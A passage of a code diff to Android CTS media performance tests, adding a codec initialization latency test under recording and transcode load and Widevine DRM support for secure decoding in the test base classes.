+    @Parameterized.Parameters(name = "{index}({0}_{1})")
+    public static Collection<Object[]> inputParams() {
+        // Prepares the params list with the required Hardware video codecs and all available
+        // audio codecs present in the device.
+        final List<Object[]> argsList = new ArrayList<>();
+        Set<String> mimeSet = getMimesOfAvailableCodecs(SELECT_VIDEO, SELECT_HARDWARE);
+        mimeSet.addAll(getMimesOfAvailableCodecs(SELECT_AUDIO, SELECT_ALL));
+        for (String mime : mimeSet) {
+            ArrayList<String> listOfCodecs;
+            if (mime.startsWith("audio/")) {
+                listOfCodecs = selectCodecs(mime, null, null, true);
+                listOfCodecs.addAll(selectCodecs(mime, null, null, false));
+            } else {
+                listOfCodecs = selectHardwareCodecs(mime, null, null, true);
+                listOfCodecs.addAll(selectHardwareCodecs(mime, null, null, false));
+            }
+            for (String codec : listOfCodecs) {
+                argsList.add(new Object[]{mime, codec});
+            }
+        }
+        return argsList;
+    }
+
+    private MediaRecorder createMediaRecorderLoad(Surface surface) throws Exception {
+        MediaRecorder mediaRecorder = new MediaRecorder(InstrumentationRegistry.getInstrumentation()
+                .getContext());
+        mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
+        mediaRecorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);
+        mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
+        mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
+        mediaRecorder.setVideoEncoder(mMime.equalsIgnoreCase(HEVC) ?
+                MediaRecorder.VideoEncoder.HEVC : MediaRecorder.VideoEncoder.H264);
+        mediaRecorder.setOutputFile(mTempRecordedFile);
+        mediaRecorder.setVideoSize(1920, 1080);
+        mediaRecorder.setOrientationHint(0);
+        mediaRecorder.setPreviewDisplay(surface);
+        mediaRecorder.prepare();
+        return mediaRecorder;
+    }
+
+    private void startLoad() throws Exception {
+        // TODO: b/183671436
+        // Create Transcode load (AVC Decoder(720p) + AVC Encoder(720p))
+        mTranscodeLoadStatus = new LoadStatus();
+        mTranscodeLoadThread = new Thread(() -> {
+            try {
+                TranscodeLoad transcodeLoad = new TranscodeLoad(AVC, AVC_TRANSCODE_FILE,
+                        AVC_DECODER_NAME, AVC_ENCODER_NAME, mTranscodeLoadStatus);
+                transcodeLoad.doTranscode();
+            } catch (Exception e) {
+                mException = e;
+            }
+        });
+        // Create MediaRecorder Session - Audio (Microphone) + 1080p Video (Camera)
+        // Create a temp file to dump the MediaRecorder output. Later it will be deleted.
+        mTempRecordedFile = new File(WorkDir.getMediaDirString() + "tempOut.mp4");
+        mTempRecordedFile.createNewFile();
+        mMediaRecorderLoad = createMediaRecorderLoad(mSurface);
+        // Start the Loads
+        mTranscodeLoadThread.start();
+        mMediaRecorderLoad.start();
+    }
+
+    private void stopLoad() throws Exception {
+        if (mTranscodeLoadStatus != null) {
+            mTranscodeLoadStatus.setLoadFinished();
+            mTranscodeLoadStatus = null;
+        }
+        if (mTranscodeLoadThread != null) {
+            mTranscodeLoadThread.join();
+            mTranscodeLoadThread = null;
+        }
+        if (mMediaRecorderLoad != null) {
+            // Note that a RuntimeException is intentionally thrown to the application, if no valid
+            // audio/video data has been received when stop() is called. This happens if stop() is
+            // called immediately after start(). So sleep for 1000ms inorder to make sure some
+            // data has been received between start() and stop().
+            Thread.sleep(1000);
+            mMediaRecorderLoad.stop();
+            mMediaRecorderLoad.release();
+            mMediaRecorderLoad = null;
+            if (mTempRecordedFile != null && mTempRecordedFile.exists()) {
+                mTempRecordedFile.delete();
+                mTempRecordedFile = null;
+            }
+        }
+        if (mException != null) throw mException;
+    }
+
+    private void createSurface() throws InterruptedException {
+        mActivityRule.getActivity().waitTillSurfaceIsCreated();
+        mSurface = mActivityRule.getActivity().getSurface();
+        assertNotNull("Surface created is null.", mSurface);
+        assertTrue("Surface created is invalid.", mSurface.isValid());
+        mActivityRule.getActivity().setScreenParams(1920, 1080, true);
+    }
+
+    private void releaseSurface() {
+        if (mSurface != null) {
+            mSurface.release();
+            mSurface = null;
+        }
+    }
+
+    /**
+     * This test validates the initialization latency (time for codec create + configure) for
+     * audio and hw video codecs.
+     *
+     * <p>Measurements are taken 5 * 2(sync/async) * [1 or 2]
+     * (surface/non-surface for video) times. This also logs the stats: min, max, avg of the codec
+     * initialization latencies.
+     */
+    @LargeTest
+    @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+    @CddTest(requirements = {
+        "2.2.7.1/5.1/H-1-7",
+        "2.2.7.1/5.1/H-1-8",
+        "2.2.7.1/5.1/H-1-12",
+        "2.2.7.1/5.1/H-1-13",})
+    public void testInitializationLatency() throws Exception {
+        MediaCodec codec = MediaCodec.createByCodecName(mCodecName);
+        boolean isEncoder = codec.getCodecInfo().isEncoder();
+        boolean isAudio = mMime.startsWith("audio/");
+        codec.release();
+        final int NUM_MEASUREMENTS = 5;
+        // Test gathers initialization latency for a number of iterations and
+        // percentile is a variable used to control how many of these iterations
+        // need to meet the pass criteria. For eg. if NUM_MEASUREMENTS = 5, audio, sync and Async
+        // modes which is a total of 10 iterations, this translates to index 7.
+        final int percentile = 70;
+        long sumOfCodecInitializationLatencyMs = 0;
+        int count = 0;
+        int numOfActualMeasurements =
+                NUM_MEASUREMENTS * boolStates.length * ((!isEncoder && !isAudio) ? 2 : 1);
+        long[] codecInitializationLatencyMs = new long[numOfActualMeasurements];
+        for (int i = 0; i < NUM_MEASUREMENTS; i++) {
+            for (boolean isAsync : boolStates) {
+                long latency;
+                if (isEncoder) {
+                    EncoderInitializationLatency encoderInitializationLatency =
+                            new EncoderInitializationLatency(mMime, mCodecName, isAsync);
+                    latency = encoderInitializationLatency.calculateInitLatency();
+                    codecInitializationLatencyMs[count] = latency;
+                    sumOfCodecInitializationLatencyMs += latency;
+                    count++;
+                } else {
+                    String testFile = mTestFiles.get(mMime);
+                    assumeTrue("Add test vector for media type: " + mMime, testFile != null);
+                    if (isAudio) {
+                        DecoderInitializationLatency decoderInitializationLatency =
+                                new DecoderInitializationLatency(mMime, mCodecName, testFile,
+                                        isAsync, false);
+                        latency = decoderInitializationLatency.calculateInitLatency();
+                        codecInitializationLatencyMs[count] = latency;
+                        sumOfCodecInitializationLatencyMs += latency;
+                        count++;
+                    } else {
+                        for (boolean surfaceMode : boolStates) {
+                            DecoderInitializationLatency decoderInitializationLatency =
+                                    new DecoderInitializationLatency(mMime, mCodecName,
+                                            testFile,
+                                            isAsync, surfaceMode);
+                            latency = decoderInitializationLatency.calculateInitLatency();
+                            codecInitializationLatencyMs[count] = latency;
+                            sumOfCodecInitializationLatencyMs += latency;
+                            count++;
+                        }
+                    }
+                }
+            }
+        }
+        Arrays.sort(codecInitializationLatencyMs);
+
+        String statsLog = String.format("CodecInitialization latency for mime: %s, " +
+                "Codec: %s, in Ms :: ", mMime, mCodecName);
+        Log.i(LOG_TAG, "Min " + statsLog + codecInitializationLatencyMs[0]);
+        Log.i(LOG_TAG, "Max " + statsLog + codecInitializationLatencyMs[count - 1]);
+        Log.i(LOG_TAG, "Avg " + statsLog + (sumOfCodecInitializationLatencyMs / count));
+        long initializationLatency = codecInitializationLatencyMs[percentile * count / 100];
+
+        PerformanceClassEvaluator pce = new PerformanceClassEvaluator(this.mTestName);
+        PerformanceClassEvaluator.CodecInitLatencyRequirement r5_1__H_1_Latency =
+            isEncoder ? isAudio ? pce.addR5_1__H_1_8() : pce.addR5_1__H_1_7()
+                : isAudio ? pce.addR5_1__H_1_13() : pce.addR5_1__H_1_12();
+
+        r5_1__H_1_Latency.setCodecInitLatencyMs(initializationLatency);
+
+        pce.submitAndCheck();
+    }
+
+    /**
+     * The following class calculates the encoder initialization latency (time for codec create +
+     * configure).
+     *
+     * <p>And also logs the time taken by the encoder for:
+     * (create + configure + start),
+     * (create + configure + start + first frame to enqueue),
+     * (create + configure + start + first frame to dequeue).
+     */
+    static class EncoderInitializationLatency extends CodecEncoderTestBase {
+        private static final String LOG_TAG = EncoderInitializationLatency.class.getSimpleName();
+
+        private final String mEncoderName;
+        private final boolean mIsAsync;
+
+        EncoderInitializationLatency(String mime, String encoderName, boolean isAsync) {
+            super(mime);
+            mEncoderName = encoderName;
+            mIsAsync = isAsync;
+            mSampleRate = 8000;
+            mFrameRate = 60;
+        }
+
+        private MediaFormat setUpFormat() throws IOException {
+            MediaFormat format = new MediaFormat();
+            format.setString(MediaFormat.KEY_MIME, mMime);
+            if (mIsAudio) {
+                if (mMime.equals(MediaFormat.MIMETYPE_AUDIO_FLAC)) {
+                    format.setInteger(MediaFormat.KEY_FLAC_COMPRESSION_LEVEL, 10000);
+                } else {
+                    format.setInteger(MediaFormat.KEY_BIT_RATE, 128000);
+                }
+                format.setInteger(MediaFormat.KEY_SAMPLE_RATE, mSampleRate);
+                format.setInteger(MediaFormat.KEY_CHANNEL_COUNT, 1);
+            } else {
+                MediaCodec codec = MediaCodec.createByCodecName(mEncoderName);
+                MediaCodecInfo.CodecCapabilities codecCapabilities =
+                        codec.getCodecInfo().getCapabilitiesForType(mMime);
+                if (codecCapabilities.getVideoCapabilities().isSizeSupported(1920, 1080)) {
+                    format.setInteger(MediaFormat.KEY_WIDTH, 1920);
+                    format.setInteger(MediaFormat.KEY_HEIGHT, 1080);
+                    format.setInteger(MediaFormat.KEY_BIT_RATE, 8000000);
+                } else if (codecCapabilities.getVideoCapabilities().isSizeSupported(1280, 720)) {
+                    format.setInteger(MediaFormat.KEY_WIDTH, 1280);
+                    format.setInteger(MediaFormat.KEY_HEIGHT, 720);
+                    format.setInteger(MediaFormat.KEY_BIT_RATE, 5000000);
+                } else if (codecCapabilities.getVideoCapabilities().isSizeSupported(640, 480)) {
+                    format.setInteger(MediaFormat.KEY_WIDTH, 640);
+                    format.setInteger(MediaFormat.KEY_HEIGHT, 480);
+                    format.setInteger(MediaFormat.KEY_BIT_RATE, 2000000);
+                } else if (codecCapabilities.getVideoCapabilities().isSizeSupported(352, 288)) {
+                    format.setInteger(MediaFormat.KEY_WIDTH, 352);
+                    format.setInteger(MediaFormat.KEY_HEIGHT, 288);
+                    format.setInteger(MediaFormat.KEY_BIT_RATE, 512000);
+                } else {
+                    format.setInteger(MediaFormat.KEY_WIDTH, 176);
+                    format.setInteger(MediaFormat.KEY_HEIGHT, 144);
+                    format.setInteger(MediaFormat.KEY_BIT_RATE, 128000);
+                }
+                codec.release();
+                format.setInteger(MediaFormat.KEY_FRAME_RATE, mFrameRate);
+                format.setFloat(MediaFormat.KEY_I_FRAME_INTERVAL, 1.0f);
+                format.setInteger(MediaFormat.KEY_COLOR_FORMAT,
+                        MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420Flexible);
+            }
+            return format;
+        }
+
+        public long calculateInitLatency() throws Exception {
+            MediaFormat format = setUpFormat();
+            if (mIsAudio) {
+                mSampleRate = format.getInteger(MediaFormat.KEY_SAMPLE_RATE);
+                mChannels = format.getInteger(MediaFormat.KEY_CHANNEL_COUNT);
+            } else {
+                mWidth = format.getInteger(MediaFormat.KEY_WIDTH);
+                mHeight = format.getInteger(MediaFormat.KEY_HEIGHT);
+            }
+            setUpSource(mInputFile);
+            MediaCodec.BufferInfo outInfo = new MediaCodec.BufferInfo();
+            long enqueueTimeStamp = 0;
+            long dequeueTimeStamp = 0;
+            long baseTimeStamp = SystemClock.elapsedRealtimeNanos();
+            mCodec = MediaCodec.createByCodecName(mEncoderName);
+            resetContext(mIsAsync, false);
+            mAsyncHandle.setCallBack(mCodec, mIsAsync);
+            mCodec.configure(format, null, MediaCodec.CONFIGURE_FLAG_ENCODE, null);
+            long configureTimeStamp = SystemClock.elapsedRealtimeNanos();
+            mCodec.start();
+            long startTimeStamp = SystemClock.elapsedRealtimeNanos();
+            if (mIsAsync) {
+                // We will keep on feeding the input to encoder until we see the first dequeued
+                // frame.
+                while (!mAsyncHandle.hasSeenError() && !mSawInputEOS) {
+                    Pair<Integer, MediaCodec.BufferInfo> element = mAsyncHandle.getWork();
+                    if (element != null) {
+                        int bufferID = element.first;
+                        MediaCodec.BufferInfo info = element.second;
+                        if (info != null) {
+                            dequeueTimeStamp = SystemClock.elapsedRealtimeNanos();
+                            dequeueOutput(bufferID, info);
+                            break;
+                        } else {
+                            if (enqueueTimeStamp == 0) {
+                                enqueueTimeStamp = SystemClock.elapsedRealtimeNanos();
+                            }
+                            enqueueInput(bufferID);
+                        }
+                    }
+                }
+            } else {
+                while (!mSawOutputEOS) {
+                    if (!mSawInputEOS) {
+                        int inputBufferId = mCodec.dequeueInputBuffer(Q_DEQ_TIMEOUT_US);
+                        if (inputBufferId > 0) {
+                            if (enqueueTimeStamp == 0) {
+                                enqueueTimeStamp = SystemClock.elapsedRealtimeNanos();
+                            }
+                            enqueueInput(inputBufferId);
+                        }
+                    }
+                    int outputBufferId = mCodec.dequeueOutputBuffer(outInfo, Q_DEQ_TIMEOUT_US);
+                    if (outputBufferId >= 0) {
+                        dequeueTimeStamp = SystemClock.elapsedRealtimeNanos();
+                        dequeueOutput(outputBufferId, outInfo);
+                        break;
+                    }
+                }
+            }
+            queueEOS();
+            waitForAllOutputs();
+            mCodec.stop();
+            mCodec.release();
+            Log.d(LOG_TAG, "Encode Mime: " + mMime + " Encoder: " + mEncoderName +
+                    " Time for (create + configure) in ns: " +
+                    (configureTimeStamp - baseTimeStamp));
+            Log.d(LOG_TAG, "Encode Mime: " + mMime + " Encoder: " + mEncoderName +
+                    " Time for (create + configure + start) in ns: " +
+                    (startTimeStamp - baseTimeStamp));
+            Log.d(LOG_TAG, "Encode Mime: " + mMime + " Encoder: " + mEncoderName +
+                    " Time for (create + configure + start + first frame to enqueue) in ns: " +
+                    (enqueueTimeStamp - baseTimeStamp));
+            Log.d(LOG_TAG, "Encode Mime: " + mMime + " Encoder: " + mEncoderName +
+                    " Time for (create + configure + start + first frame to dequeue) in ns: " +
+                    (dequeueTimeStamp - baseTimeStamp));
+            long timeToConfigureMs = (configureTimeStamp - baseTimeStamp) / 1000000;
+            return timeToConfigureMs;
+        }
+    }
+
+    /**
+     * The following class calculates the decoder initialization latency (time for codec create +
+     * configure).
+     * And also logs the time taken by the decoder for:
+     * (create + configure + start),
+     * (create + configure + start + first frame to enqueue),
+     * (create + configure + start + first frame to dequeue).
+     */
+    static class DecoderInitializationLatency extends CodecDecoderTestBase {
+        private static final String LOG_TAG = DecoderInitializationLatency.class.getSimpleName();
+
+        private final String mDecoderName;
+        private final boolean mIsAsync;
+
+        DecoderInitializationLatency(String mediaType, String decoderName, String testFile,
+                boolean isAsync, boolean surfaceMode) {
+            super(mediaType, testFile);
+            mDecoderName = decoderName;
+            mIsAsync = isAsync;
+            mSurface = mIsAudio ? null :
+                    surfaceMode ? MediaCodec.createPersistentInputSurface() : null;
+        }
+
+        public long calculateInitLatency() throws Exception {
+            MediaCodec.BufferInfo outInfo = new MediaCodec.BufferInfo();
+            MediaFormat format = setUpSource(mTestFile);
+            long enqueueTimeStamp = 0;
+            long dequeueTimeStamp = 0;
+            long baseTimeStamp = SystemClock.elapsedRealtimeNanos();
+            mCodec = MediaCodec.createByCodecName(mDecoderName);
+            resetContext(mIsAsync, false);
+            mAsyncHandle.setCallBack(mCodec, mIsAsync);
+            mCodec.configure(format, mSurface, 0, null);
+            long configureTimeStamp = SystemClock.elapsedRealtimeNanos();
+            mCodec.start();
+            long startTimeStamp = SystemClock.elapsedRealtimeNanos();
+            if (mIsAsync) {
+                // We will keep on feeding the input to decoder until we see the first dequeued
+                // frame.
+                while (!mAsyncHandle.hasSeenError() && !mSawInputEOS) {
+                    Pair<Integer, MediaCodec.BufferInfo> element = mAsyncHandle.getWork();
+                    if (element != null) {
+                        int bufferID = element.first;
+                        MediaCodec.BufferInfo info = element.second;
+                        if (info != null) {
+                            dequeueTimeStamp = SystemClock.elapsedRealtimeNanos();
+                            dequeueOutput(bufferID, info);
+                            break;
+                        } else {
+                            if (enqueueTimeStamp == 0) {
+                                enqueueTimeStamp = SystemClock.elapsedRealtimeNanos();
+                            }
+                            enqueueInput(bufferID);
+                        }
+                    }
+                }
+            } else {
+                while (!mSawOutputEOS) {
+                    if (!mSawInputEOS) {
+                        int inputBufferId = mCodec.dequeueInputBuffer(Q_DEQ_TIMEOUT_US);
+                        if (inputBufferId >= 0) {
+                            if (enqueueTimeStamp == 0) {
+                                enqueueTimeStamp = SystemClock.elapsedRealtimeNanos();
+                            }
+                            enqueueInput(inputBufferId);
+                        }
+                    }
+                    int outputBufferId = mCodec.dequeueOutputBuffer(outInfo, Q_DEQ_TIMEOUT_US);
+                    if (outputBufferId >= 0) {
+                        dequeueTimeStamp = SystemClock.elapsedRealtimeNanos();
+                        dequeueOutput(outputBufferId, outInfo);
+                        break;
+                    }
+                }
+            }
+            queueEOS();
+            waitForAllOutputs();
+            mCodec.stop();
+            mCodec.release();
+            if (mSurface != null) {
+                mSurface.release();
+            }
+            Log.d(LOG_TAG, "Decode Mime: " + mMime + " Decoder: " + mDecoderName +
+                    " Time for (create + configure) in ns: " +
+                    (configureTimeStamp - baseTimeStamp));
+            Log.d(LOG_TAG, "Decode Mime: " + mMime + " Decoder: " + mDecoderName +
+                    " Time for (create + configure + start) in ns: " +
+                    (startTimeStamp - baseTimeStamp));
+            Log.d(LOG_TAG, "Decode Mime: " + mMime + " Decoder: " + mDecoderName +
+                    " Time for (create + configure + start + first frame to enqueue) in ns: " +
+                    (enqueueTimeStamp - baseTimeStamp));
+            Log.d(LOG_TAG, "Decode Mime: " + mMime + " Decoder: " + mDecoderName +
+                    " Time for (create + configure + start + first frame to dequeue) in ns: " +
+                    (dequeueTimeStamp - baseTimeStamp));
+            long timeToConfigureMs = (configureTimeStamp - baseTimeStamp) / 1000000;
+            return timeToConfigureMs;
+        }
+    }
+}
diff --git a/tests/mediapc/src/android/mediapc/cts/CodecTestBase.java b/tests/mediapc/src/android/mediapc/cts/CodecTestBase.java
index ecc8c3a..337b194 100644
--- a/tests/mediapc/src/android/mediapc/cts/CodecTestBase.java
+++ b/tests/mediapc/src/android/mediapc/cts/CodecTestBase.java
@@ -16,13 +16,23 @@
 
 package android.mediapc.cts;
 
+import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_FormatSurface;
+import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420Flexible;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
 import android.graphics.ImageFormat;
 import android.media.Image;
 import android.media.MediaCodec;
 import android.media.MediaCodecInfo;
 import android.media.MediaCodecList;
+import android.media.MediaCrypto;
+import android.media.MediaDrm;
 import android.media.MediaExtractor;
 import android.media.MediaFormat;
+import android.media.NotProvisionedException;
+import android.media.ResourceBusyException;
 import android.os.Build;
 import android.util.Log;
 import android.util.Pair;
@@ -37,17 +47,16 @@
 import java.io.IOException;
 import java.nio.ByteBuffer;
 import java.util.ArrayList;
+import java.util.HashSet;
 import java.util.LinkedList;
+import java.util.Set;
+import java.util.Map;
+import java.util.UUID;
 import java.util.concurrent.Callable;
 import java.util.concurrent.locks.Condition;
 import java.util.concurrent.locks.Lock;
 import java.util.concurrent.locks.ReentrantLock;
 
-import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_FormatSurface;
-import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420Flexible;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
 class CodecAsyncHandler extends MediaCodec.Callback {
     private static final String LOG_TAG = CodecAsyncHandler.class.getSimpleName();
     private final Lock mLock = new ReentrantLock();
@@ -178,6 +187,8 @@
     static final int SELECT_ALL = 0; // Select all codecs
     static final int SELECT_HARDWARE = 1; // Select Hardware codecs only
     static final int SELECT_SOFTWARE = 2; // Select Software codecs only
+    static final int SELECT_AUDIO = 3; // Select Audio codecs only
+    static final int SELECT_VIDEO = 4; // Select Video codecs only
     // Maintain Timeouts in sync with their counterpart in NativeMediaCommon.h
     static final long Q_DEQ_TIMEOUT_US = 5000; // block at most 5ms while looking for io buffers
     static final int RETRY_LIMIT = 100; // max poll counter before test aborts and returns error
@@ -203,7 +214,7 @@
     abstract void dequeueOutput(int bufferIndex, MediaCodec.BufferInfo info);
 
     void configureCodec(MediaFormat format, boolean isAsync, boolean signalEOSWithLastFrame,
-            boolean isEncoder) {
+            boolean isEncoder) throws Exception {
         resetContext(isAsync, signalEOSWithLastFrame);
         mAsyncHandle.setCallBack(mCodec, isAsync);
         // signalEOS flag has nothing to do with configure. We are using this flag to try all
@@ -339,12 +350,23 @@
 
     static ArrayList<String> selectHardwareCodecs(String mime, ArrayList<MediaFormat> formats,
             String[] features, boolean isEncoder) {
-        return selectCodecs(mime, formats, features, isEncoder, SELECT_HARDWARE);
+        return selectHardwareCodecs(mime, formats, features, isEncoder, false);
+    }
+
+    static ArrayList<String> selectHardwareCodecs(String mime, ArrayList<MediaFormat> formats,
+            String[] features, boolean isEncoder, boolean allCodecs) {
+        return selectCodecs(mime, formats, features, isEncoder, SELECT_HARDWARE, allCodecs);
     }
 
     static ArrayList<String> selectCodecs(String mime, ArrayList<MediaFormat> formats,
             String[] features, boolean isEncoder, int selectCodecOption) {
-        MediaCodecList codecList = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+        return selectCodecs(mime, formats, features, isEncoder, selectCodecOption, false);
+    }
+
+    static ArrayList<String> selectCodecs(String mime, ArrayList<MediaFormat> formats,
+            String[] features, boolean isEncoder, int selectCodecOption, boolean allCodecs) {
+        int kind = allCodecs ? MediaCodecList.ALL_CODECS : MediaCodecList.REGULAR_CODECS;
+        MediaCodecList codecList = new MediaCodecList(kind);
         MediaCodecInfo[] codecInfos = codecList.getCodecInfos();
         ArrayList<String> listOfCodecs = new ArrayList<>();
         for (MediaCodecInfo codecInfo : codecInfos) {
@@ -382,25 +404,61 @@
         }
         return listOfCodecs;
     }
+
+    static Set<String> getMimesOfAvailableCodecs(int codecAV, int codecType) {
+        MediaCodecList codecList = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+        MediaCodecInfo[] codecInfos = codecList.getCodecInfos();
+        Set<String> listOfMimes = new HashSet<>();
+        for (MediaCodecInfo codecInfo : codecInfos) {
+            if (codecType == SELECT_HARDWARE && !codecInfo.isHardwareAccelerated()) {
+                continue;
+            }
+            if (codecType == SELECT_SOFTWARE && !codecInfo.isSoftwareOnly()) {
+                continue;
+            }
+            String[] types = codecInfo.getSupportedTypes();
+            for (String type : types) {
+                if (codecAV == SELECT_AUDIO && !type.startsWith("audio/")) {
+                    continue;
+                }
+                if (codecAV == SELECT_VIDEO && !type.startsWith("video/")) {
+                    continue;
+                }
+                listOfMimes.add(type);
+            }
+        }
+        return listOfMimes;
+    }
 }
 
 class CodecDecoderTestBase extends CodecTestBase {
     private static final String LOG_TAG = CodecDecoderTestBase.class.getSimpleName();
+    // Widevine Content Protection Identifier https://dashif.org/identifiers/content_protection/
+    public static final UUID WIDEVINE_UUID = new UUID(0xEDEF8BA979D64ACEL, 0xA3C827DCD51D21EDL);
 
     String mMime;
     String mTestFile;
     boolean mIsInterlaced;
+    boolean mSecureMode;
+    byte[] mSessionID;
 
     ArrayList<ByteBuffer> mCsdBuffers;
 
     MediaExtractor mExtractor;
+    MediaDrm mDrm = null;
+    MediaCrypto mCrypto = null;
 
-    CodecDecoderTestBase(String mime, String testFile) {
+    CodecDecoderTestBase(String mime, String testFile, boolean secureMode) {
         mMime = mime;
         mTestFile = testFile;
         mAsyncHandle = new CodecAsyncHandler();
         mCsdBuffers = new ArrayList<>();
         mIsAudio = mMime.startsWith("audio/");
+        mSecureMode = secureMode;
+    }
+
+    CodecDecoderTestBase(String mime, String testFile) {
+        this(mime, testFile, false);
     }
 
     MediaFormat setUpSource(String srcFile) throws IOException {
@@ -411,6 +469,75 @@
         return format.containsKey("csd-0");
     }
 
+    private byte[] openSession(MediaDrm drm) {
+        byte[] sessionId = null;
+        int retryCount = 3;
+        while (retryCount-- > 0) {
+            try {
+                sessionId = drm.openSession();
+                break;
+            } catch (NotProvisionedException eNotProvisioned) {
+                Log.i(LOG_TAG, "Missing certificate, provisioning");
+                try {
+                    final ProvisionRequester provisionRequester = new ProvisionRequester(drm);
+                    provisionRequester.send();
+                } catch (Exception e) {
+                    Log.e(LOG_TAG, "Provisioning fails because " + e.toString());
+                }
+            } catch (ResourceBusyException eResourceBusy) {
+                Log.w(LOG_TAG, "Resource busy in openSession, retrying...");
+                try {
+                    Thread.sleep(1000);
+                } catch (Exception ignored) {
+                }
+            }
+        }
+        return sessionId;
+    }
+
+    void configureCodec(MediaFormat format, boolean isAsync, boolean signalEOSWithLastFrame,
+            boolean isEncoder, String serverURL) throws Exception {
+        resetContext(isAsync, signalEOSWithLastFrame);
+        mAsyncHandle.setCallBack(mCodec, isAsync);
+        if (mSecureMode && serverURL != null) {
+            if (mDrm == null) {
+                mDrm = new MediaDrm(WIDEVINE_UUID);
+            }
+            if (mCrypto == null) {
+                mSessionID = openSession(mDrm);
+                assertNotNull("Failed to provision device.", mSessionID);
+                mCrypto = new MediaCrypto(WIDEVINE_UUID, mSessionID);
+            }
+            mCodec.configure(format, mSurface, mCrypto,
+                    isEncoder ? MediaCodec.CONFIGURE_FLAG_ENCODE : 0);
+
+            Map<UUID, byte[]> psshInfo = mExtractor.getPsshInfo();
+            assertNotNull("Extractor is missing pssh info", psshInfo);
+            byte[] emeInitData = psshInfo.get(WIDEVINE_UUID);
+            assertNotNull("Extractor pssh info is missing data for scheme: " + WIDEVINE_UUID,
+                    emeInitData);
+            KeyRequester requester =
+                    new KeyRequester(mDrm, mSessionID, MediaDrm.KEY_TYPE_STREAMING, mMime,
+                            emeInitData, serverURL, WIDEVINE_UUID);
+            requester.send();
+            return;
+        }
+        // signalEOS flag has nothing to do with configure. We are using this flag to try all
+        // available configure apis
+        if (signalEOSWithLastFrame) {
+            mCodec.configure(format, mSurface, null,
+                    isEncoder ? MediaCodec.CONFIGURE_FLAG_ENCODE : 0);
+        } else {
+            mCodec.configure(format, mSurface, isEncoder ? MediaCodec.CONFIGURE_FLAG_ENCODE : 0,
+                    null);
+        }
+    }
+
+    void configureCodec(MediaFormat format, boolean isAsync, boolean signalEOSWithLastFrame,
+            boolean isEncoder) throws Exception {
+        configureCodec(format, isAsync, signalEOSWithLastFrame, isEncoder, null);
+    }
+
     MediaFormat setUpSource(String prefix, String srcFile) throws IOException {
         mExtractor = new MediaExtractor();
         mExtractor.setDataSource(prefix + srcFile);
@@ -447,11 +574,17 @@
             if ((extractorFlags & MediaExtractor.SAMPLE_FLAG_SYNC) != 0) {
                 codecFlags |= MediaCodec.BUFFER_FLAG_KEY_FRAME;
             }
+            MediaCodec.CryptoInfo info = new MediaCodec.CryptoInfo();
+            boolean isEncrypted = mExtractor.getSampleCryptoInfo(info);
             if (!mExtractor.advance() && mSignalEOSWithLastFrame) {
                 codecFlags |= MediaCodec.BUFFER_FLAG_END_OF_STREAM;
                 mSawInputEOS = true;
             }
-            mCodec.queueInputBuffer(bufferIndex, 0, size, pts, codecFlags);
+            if (mSecureMode && isEncrypted) {
+                mCodec.queueSecureInputBuffer(bufferIndex, 0, info, pts, codecFlags);
+            } else {
+                mCodec.queueInputBuffer(bufferIndex, 0, size, pts, codecFlags);
+            }
             if (size > 0 && (codecFlags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) == 0) {
                 mInputCount++;
             }
@@ -669,20 +802,30 @@
     private static final String LOG_TAG = Decode.class.getSimpleName();
 
     final String mDecoderName;
+    static final String WIDEVINE_LICENSE_SERVER_URL = "https://proxy.uat.widevine.com/proxy";
+    static final String PROVIDER = "widevine_test";
+    final String mServerURL =
+            String.format("%s?video_id=%s&provider=%s", WIDEVINE_LICENSE_SERVER_URL,
+                    "GTS_HW_SECURE_ALL", PROVIDER);
     final boolean mIsAsync;
 
     Decode(String mime, String testFile, String decoderName, boolean isAsync) {
+        this(mime, testFile,decoderName, isAsync, false);
+    }
+
+    Decode(String mime, String testFile, String decoderName, boolean isAsync, boolean secureMode) {
         super(mime, testFile);
         mDecoderName = decoderName;
         mSurface = MediaCodec.createPersistentInputSurface();
         mIsAsync = isAsync;
+        mSecureMode = secureMode;
     }
 
     public Double doDecode() throws Exception {
         MediaFormat format = setUpSource(mTestFile);
         mCodec = MediaCodec.createByCodecName(mDecoderName);
         mExtractor.seekTo(0, MediaExtractor.SEEK_TO_CLOSEST_SYNC);
-        configureCodec(format, mIsAsync, false, false);
+        configureCodec(format, mIsAsync, false, false, mServerURL);
         mCodec.start();
         long start = System.currentTimeMillis();
         doWork(Integer.MAX_VALUE);
@@ -692,6 +835,12 @@
         mCodec.stop();
         mCodec.release();
         mExtractor.release();
+        if (mCrypto != null) {
+            mCrypto.release();
+        }
+        if (mDrm != null) {
+            mDrm.close();
+        }
         double fps = mOutputCount / ((end - start) / 1000.0);
         Log.d(LOG_TAG, "Decode Mime: " + mMime + " Decoder: " + mDecoderName +
                 " Achieved fps: " + fps);
@@ -729,28 +878,33 @@
 
 /**
  * The following class encodes a YUV video file to a given mimeType using encoder created by the
- * given encoderName and configuring to 720p 30fps format.
+ * given encoderName and configuring to 30fps format.
  */
 class Encode extends CodecEncoderTestBase implements Callable<Double> {
     private static final String LOG_TAG = Encode.class.getSimpleName();
 
     private final String mEncoderName;
     private final boolean mIsAsync;
+    private final int mBitrate;
 
-    Encode(String mime, String encoderName, boolean isAsync) {
+    Encode(String mime, String encoderName, boolean isAsync, int height, int width, int frameRate,
+            int bitrate) {
         super(mime);
         mEncoderName = encoderName;
         mIsAsync = isAsync;
         mSurface = MediaCodec.createPersistentInputSurface();
-        mFrameRate = 30;
+        mFrameRate = frameRate;
+        mBitrate = bitrate;
+        mHeight = height;
+        mWidth = width;
     }
 
     private MediaFormat setUpFormat() {
